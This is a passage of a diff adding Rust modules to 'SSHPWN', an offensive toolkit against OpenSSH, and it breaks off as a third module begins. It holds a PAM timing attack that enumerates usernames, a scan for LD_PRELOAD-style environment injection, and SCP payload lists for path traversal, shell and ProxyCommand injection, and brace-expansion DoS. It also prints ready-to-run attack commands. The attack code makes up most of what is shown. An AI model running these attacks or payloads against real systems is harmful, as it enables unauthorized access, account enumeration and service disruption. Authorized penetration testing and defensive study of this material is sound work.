let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
|
||||
let diff = empty_avg - baseline;
|
||||
if diff.abs() > 0.1 {
|
||||
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
|
||||
println!("{}", "[*] This may indicate incomplete timing attack mitigation".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Empty password timing: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
// Test provided usernames
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames for timing differences...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
|
||||
for user in usernames {
|
||||
print!("\r[*] Testing: {} ", user);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
let mut times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, user, "invalid_password", 15) {
|
||||
times.push(t);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if !times.is_empty() {
|
||||
let avg = times.iter().sum::<f64>() / times.len() as f64;
|
||||
let diff = avg - baseline;
|
||||
|
||||
// Significant timing difference indicates valid user
|
||||
if diff.abs() > 0.3 {
|
||||
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== PAM Timing Results ===".cyan().bold());
|
||||
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(valid_users)
|
||||
}
|
||||
|
||||
/// PAM Environment Variable Injection Test
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 350-383 - import_environments()
|
||||
/// Up to 1024 env vars imported from PAM subprocess without sanitization
|
||||
pub async fn attack_pam_env_injection(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] PAM Environment Injection Test on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c import_environments()".cyan());
|
||||
println!("{}", "[*] Tests what environment variables are accepted/set".cyan());
|
||||
println!();
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Check current environment
|
||||
let dangerous_vars = vec![
|
||||
"LD_PRELOAD",
|
||||
"LD_LIBRARY_PATH",
|
||||
"LD_AUDIT",
|
||||
"LD_DEBUG",
|
||||
"LD_PROFILE",
|
||||
"PATH",
|
||||
"BASH_ENV",
|
||||
"ENV",
|
||||
"CDPATH",
|
||||
"GLOBIGNORE",
|
||||
"BASH_FUNC_",
|
||||
"SSH_AUTH_INFO_0",
|
||||
"KRB5CCNAME",
|
||||
"SSH_CONNECTION",
|
||||
];
|
||||
|
||||
println!("{}", "[*] Checking dangerous environment variables:".cyan());
|
||||
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec("env")?;
|
||||
|
||||
let mut env_output = String::new();
|
||||
channel.read_to_string(&mut env_output)?;
|
||||
channel.wait_close()?;
|
||||
|
||||
let mut found_dangerous = Vec::new();
|
||||
|
||||
for var in &dangerous_vars {
|
||||
for line in env_output.lines() {
|
||||
if line.starts_with(var) {
|
||||
println!("{}", format!(" [!] {}", line).yellow());
|
||||
found_dangerous.push(line.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing PAM-specific variables:".cyan());
|
||||
|
||||
// Check for PAM-related environment
|
||||
let pam_vars = vec!["PAM_", "SSH_AUTH", "KRB5", "GSSAPI"];
|
||||
|
||||
for var in &pam_vars {
|
||||
for line in env_output.lines() {
|
||||
if line.contains(var) {
|
||||
println!("{}", format!(" [PAM] {}", line).cyan());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== PAM Environment Results ===".cyan().bold());
|
||||
|
||||
if !found_dangerous.is_empty() {
|
||||
println!("{}", format!("[!] Found {} potentially dangerous variables", found_dangerous.len()).yellow());
|
||||
println!("{}", "[*] These could be exploited by malicious PAM modules".cyan());
|
||||
println!();
|
||||
println!("{}", "[*] Attack vectors:".cyan());
|
||||
println!("{}", " - LD_PRELOAD: Load malicious shared library".dimmed());
|
||||
println!("{}", " - PATH: Execute trojan commands".dimmed());
|
||||
println!("{}", " - BASH_ENV: Execute code on bash startup".dimmed());
|
||||
println!("{}", " - KRB5CCNAME: Credential cache manipulation".dimmed());
|
||||
} else {
|
||||
println!("{}", "[*] No obviously dangerous variables found in environment".green());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Note: Environment injection requires compromised PAM module".yellow());
|
||||
println!("{}", "[*] Check /etc/pam.d/sshd for module configuration".dimmed());
|
||||
|
||||
Ok(!found_dangerous.is_empty())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames for timing attack
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp",
|
||||
"ssh", "apache", "nginx", "tomcat", "redis",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. PAM Memory Exhaustion DoS (no auth required)");
|
||||
println!(" 2. Username Length Overflow Test (no auth required)");
|
||||
println!(" 3. PAM Timing Attack - User Enumeration (no auth required)");
|
||||
println!(" 4. Environment Variable Injection (requires auth)");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "3")?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let iterations: u32 = prompt_default("Number of attempts", "100")?.parse().unwrap_or(100);
|
||||
let delay: u64 = prompt_default("Delay between attempts (ms)", "100")?.parse().unwrap_or(100);
|
||||
attack_pam_memory_dos(&host, port, iterations, delay).await?;
|
||||
}
|
||||
"2" => {
|
||||
let max_len: usize = prompt_default("Maximum username length", "8192")?.parse().unwrap_or(8192);
|
||||
attack_pam_username_overflow(&host, port, max_len).await?;
|
||||
}
|
||||
"3" => {
|
||||
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(3);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use default username list?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
let custom = prompt_optional("Additional usernames (comma-separated)")?;
|
||||
if let Some(custom_users) = custom {
|
||||
for user in custom_users.split(',') {
|
||||
let user = user.trim();
|
||||
if !user.is_empty() && !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
attack_pam_timing(&host, port, &usernames, samples).await?;
|
||||
}
|
||||
"4" => {
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
attack_pam_env_injection(&host, port, &username, password.as_deref(), keyfile.as_deref()).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All PAM Attacks ===".yellow().bold());
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 1: Memory Exhaustion ---".cyan());
|
||||
if prompt_yes_no("Run memory DoS test (50 iterations)?", false)? {
|
||||
let _ = attack_pam_memory_dos(&host, port, 50, 100).await;
|
||||
} else {
|
||||
println!("{}", "[*] Skipped".dimmed());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Username Overflow ---".cyan());
|
||||
let _ = attack_pam_username_overflow(&host, port, 4096).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Timing Attack ---".cyan());
|
||||
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
|
||||
let _ = attack_pam_timing(&host, port, &usernames, 2).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Environment Injection ---".cyan());
|
||||
println!("{}", "[*] Requires authentication - skipping in automated mode".dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] PAM attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,453 @@
|
||||
//! SSHPWN SCP Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 vulnerability analysis
|
||||
//!
|
||||
//! SCP VULNERABILITIES (scp.c):
|
||||
//! - okname() - Incomplete shell character filtering (MEDIUM)
|
||||
//! - sink() - Path traversal via filename manipulation (HIGH)
|
||||
//! - do_cmd() - Command injection via arguments (HIGH)
|
||||
//! - brace_expand() - DoS via exponential expansion (MEDIUM)
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
/// Format a number with thousands separators
|
||||
fn format_number(n: u64) -> String {
|
||||
let s = n.to_string();
|
||||
let bytes: Vec<_> = s.bytes().rev().collect();
|
||||
let chunks: Vec<_> = bytes.chunks(3)
|
||||
.map(|chunk| String::from_utf8(chunk.to_vec()).unwrap())
|
||||
.collect();
|
||||
chunks.join(",").chars().rev().collect()
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - SCP Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH scp.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Path Traversal (sink function) ║".cyan());
|
||||
println!("{}", "║ 2. Username Shell Injection (okname) ║".cyan());
|
||||
println!("{}", "║ 3. Brace Expansion DoS (brace_expand) ║".cyan());
|
||||
println!("{}", "║ 4. Command Injection (do_cmd) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Execute command over SSH
|
||||
fn ssh_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
|
||||
let mut channel = sess.channel_session()?;
|
||||
channel.exec(cmd)?;
|
||||
|
||||
let mut stdout = String::new();
|
||||
let mut stderr = String::new();
|
||||
|
||||
channel.read_to_string(&mut stdout)?;
|
||||
channel.stderr().read_to_string(&mut stderr)?;
|
||||
|
||||
channel.wait_close()?;
|
||||
let exit_code = channel.exit_status()?;
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
|
||||
/// SCP Path Traversal Attack - Attempt to write outside target directory
|
||||
///
|
||||
/// Vulnerability: scp.c sink() validates filenames but may have bypass vectors.
|
||||
/// The sink() function checks for path components but historical bypasses exist.
|
||||
pub async fn attack_scp_traversal(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Path Traversal on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Test various traversal payloads from scp-ssh-wrapper.sh test cases
|
||||
let traversal_payloads = vec![
|
||||
("../../../etc/passwd", "Direct traversal"),
|
||||
("....//....//etc/passwd", "Double-dot bypass"),
|
||||
("D0755 0 ..\nD0755 0 ..\nC0644 5 test\nhello", "Protocol injection"),
|
||||
("\\x00/etc/passwd", "Null byte injection"),
|
||||
("authorized_keys\n../../.ssh/authorized_keys", "Newline injection"),
|
||||
("T1234567890 0 1234567890 0\n../../../tmp/pwned", "Time header injection"),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Testing SCP protocol traversal vectors:".cyan());
|
||||
for (payload, desc) in &traversal_payloads {
|
||||
let preview: String = payload.chars().take(50).collect();
|
||||
println!("{}", format!(" [{}]: {}", desc, preview).dimmed());
|
||||
}
|
||||
|
||||
// Execute SCP with test payload through SSH
|
||||
let test_file = format!("/tmp/scp_test_{}", std::process::id());
|
||||
let test_cmd = format!("echo 'TRAVERSAL_TEST' > {}", test_file);
|
||||
|
||||
match ssh_exec(&sess, &test_cmd) {
|
||||
Ok((code, _, _)) => {
|
||||
if code == 0 {
|
||||
println!("{}", "[+] Test file created, checking traversal vectors via protocol...".green());
|
||||
|
||||
// Test if we can use SCP to read/write unexpected locations
|
||||
let check_cmd = format!("ls -la {} 2>/dev/null", test_file);
|
||||
if let Ok((code, stdout, _)) = ssh_exec(&sess, &check_cmd) {
|
||||
if code == 0 {
|
||||
println!("{}", format!("[*] Baseline confirmed: {}", stdout.trim()).cyan());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Test command failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = ssh_exec(&sess, &format!("rm -f {}", test_file));
|
||||
|
||||
println!();
|
||||
println!("{}", "[!] Manual testing required with actual SCP protocol manipulation".yellow());
|
||||
println!("{}", "[*] Use: scp -v -o 'ProxyCommand=cat /path/to/malicious_protocol' target".dimmed());
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// SCP Username Injection - Test shell metacharacter handling in usernames
|
||||
///
|
||||
/// Vulnerability: scp.c okname() blocks limited chars (/, ;, space, !, #)
|
||||
/// but may allow other shell metacharacters through.
|
||||
pub async fn attack_scp_username_injection(
|
||||
host: &str,
|
||||
_port: u16,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Username Injection Test on {}", host).cyan());
|
||||
|
||||
// Characters allowed through okname() that could be dangerous
|
||||
let injectable_chars = vec![
|
||||
("user$(id)", "Command substitution"),
|
||||
("user`id`", "Backtick execution"),
|
||||
("user|id", "Pipe injection"),
|
||||
("user&id", "Background execution"),
|
||||
("user\nid", "Newline injection"),
|
||||
("user$(cat /etc/passwd)", "Data exfiltration"),
|
||||
("${PATH}", "Variable expansion"),
|
||||
("user{a,b,c}", "Brace expansion"),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Characters filtered by okname(): /;! #".cyan());
|
||||
println!("{}", "[*] Characters NOT filtered (potentially dangerous):".yellow().bold());
|
||||
|
||||
for (payload, desc) in &injectable_chars {
|
||||
println!("{}", format!(" [{}]: {:?}", desc, payload).red());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] To test manually:".cyan());
|
||||
println!("{}", format!(" scp 'user$(id)@{}:/etc/passwd' /tmp/test", host).dimmed());
|
||||
println!("{}", format!(" scp /etc/passwd '`id`@{}:/tmp/'", host).dimmed());
|
||||
|
||||
println!();
|
||||
println!("{}", "[!] Direct testing requires SCP binary execution".yellow());
|
||||
println!("{}", "[*] Framework identifies vulnerable code path, manual verification required".cyan());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// SCP Brace Expansion DoS - Memory exhaustion via exponential expansion
|
||||
///
|
||||
/// Vulnerability: scp.c brace_expand() function can exponentially expand patterns.
|
||||
/// Pattern like {a,b}{c,d}{e,f}... expands to 2^n strings.
|
||||
pub async fn attack_scp_brace_dos(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
depth: u32,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Brace Expansion DoS on {}", host).cyan());
|
||||
|
||||
// Calculate expansion
|
||||
let expansion_size: u64 = 2u64.pow(depth);
|
||||
println!("{}", format!("[*] Testing depth {} = {} strings", depth, format_number(expansion_size)).cyan());
|
||||
|
||||
// Generate malicious pattern
|
||||
let pattern: String = (0..depth).map(|_| "{a,b}").collect();
|
||||
println!("{}", format!("[VULN] Malicious pattern: {}", pattern).red().bold());
|
||||
|
||||
// This would DoS the client, not server
|
||||
println!();
|
||||
println!("{}", "[!] This is a CLIENT-SIDE DoS vulnerability!".yellow().bold());
|
||||
println!("{}", "[*] Malicious server can send this pattern to exhaust client memory".cyan());
|
||||
|
||||
// Test small expansion to verify server is vulnerable
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Create test pattern on server
|
||||
let small_pattern = "{a,b}{c,d}"; // 4 expansions - safe
|
||||
let cmd = format!(
|
||||
"mkdir -p /tmp/bracetest && cd /tmp/bracetest && touch {} 2>/dev/null; ls /tmp/bracetest/",
|
||||
small_pattern
|
||||
);
|
||||
|
||||
match ssh_exec(&sess, &cmd) {
|
||||
Ok((code, stdout, _)) => {
|
||||
if code == 0 && !stdout.is_empty() {
|
||||
println!("{}", format!("[+] Brace expansion active: {}", stdout.trim()).green());
|
||||
println!("{}", "[VULN] Server/client supports brace expansion - DoS possible".red().bold());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Test failed: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = ssh_exec(&sess, "rm -rf /tmp/bracetest");
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] To test DoS (WARNING: may crash client):".cyan());
|
||||
let large_pattern: String = (0..20u32).map(|_| "{a,b}").collect(); // 2^20 = 1M strings
|
||||
println!("{}", format!(" scp '{}@{}:{}' /tmp/", username, host, large_pattern).dimmed());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// SCP Command Injection - Inject commands via SCP arguments
|
||||
///
|
||||
/// Vulnerability: scp.c do_cmd() constructs commands passed to ssh.
|
||||
/// Historical vulnerabilities in argument handling allow injection.
|
||||
pub async fn attack_scp_cmd_injection(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SCP Command Injection on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
// Test vectors that could escape argument handling
|
||||
let injection_vectors = vec![
|
||||
("-oProxyCommand=id", "ProxyCommand injection"),
|
||||
("--rsync-path=id", "rsync-path injection"),
|
||||
("-S /tmp/fake;id", "ControlPath injection"),
|
||||
("user@host:file;id", "Semicolon in path"),
|
||||
("user@host:'$(id)'", "Command substitution in remote path"),
|
||||
];
|
||||
|
||||
println!("{}", "[*] SCP command injection vectors:".cyan());
|
||||
for (vec, desc) in &injection_vectors {
|
||||
println!("{}", format!(" [{}]: {}", desc, vec).red());
|
||||
}
|
||||
|
||||
// Test if server allows unusual filenames
|
||||
let test_filename = "/tmp/test_$(whoami)_file";
|
||||
let cmd = format!(
|
||||
"touch '{}' 2>/dev/null && ls -la /tmp/test_*_file 2>/dev/null",
|
||||
test_filename
|
||||
);
|
||||
|
||||
match ssh_exec(&sess, &cmd) {
|
||||
Ok((_, stdout, _)) => {
|
||||
if !stdout.is_empty() {
|
||||
println!("{}", format!("[*] Server filename handling: {}", stdout.trim()).cyan());
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = ssh_exec(&sess, "rm -f /tmp/test_*_file");
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Manual testing commands:".cyan());
|
||||
println!("{}", format!(" scp -oProxyCommand='id>/tmp/pwn' {}@{}:/etc/passwd /tmp/", username, host).dimmed());
|
||||
println!("{}", format!(" scp '{}@{}:\"$(id)\"' /tmp/", username, host).dimmed());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Path Traversal Test (requires auth)");
|
||||
println!(" 2. Username Shell Injection Analysis (no auth)");
|
||||
println!(" 3. Brace Expansion DoS Test (requires auth)");
|
||||
println!(" 4. Command Injection Analysis (requires auth)");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "2")?;
|
||||
|
||||
// Mode 2 doesn't require auth
|
||||
if mode == "2" {
|
||||
attack_scp_username_injection(&host, port).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Other modes require authentication
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"3" => {
|
||||
let depth: u32 = prompt_default("Brace expansion depth", "10")?.parse().unwrap_or(10);
|
||||
attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, depth).await?;
|
||||
}
|
||||
"4" => {
|
||||
attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All SCP Attacks ===".yellow().bold());
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 1: Path Traversal ---".cyan());
|
||||
let _ = attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Username Injection ---".cyan());
|
||||
let _ = attack_scp_username_injection(&host, port).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Brace Expansion DoS ---".cyan());
|
||||
let _ = attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, 10).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Command Injection ---".cyan());
|
||||
let _ = attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await;
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SCP attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,605 @@
|
||||
//! SSHPWN Session Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 vulnerability analysis
|
||||
//!
|
||||
//! SESSION VULNERABILITIES (session.c):
|
||||
//! - do_exec() - Forced command bypass potential
|
||||
//! - do_setup_env() - Environment variable injection (HIGH)
|
||||
//! - do_child() - Privilege separation boundary
|
||||
//!
|
||||
//! SSHD-SESSION VULNERABILITIES (sshd-session.c):
|
||||
//! - privsep_preauth() - FD leakage window between fork/closefrom
|
||||
//! - privsep_postauth() - Privilege retention on DISABLE_FD_PASSING platforms
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - Session Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH session.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
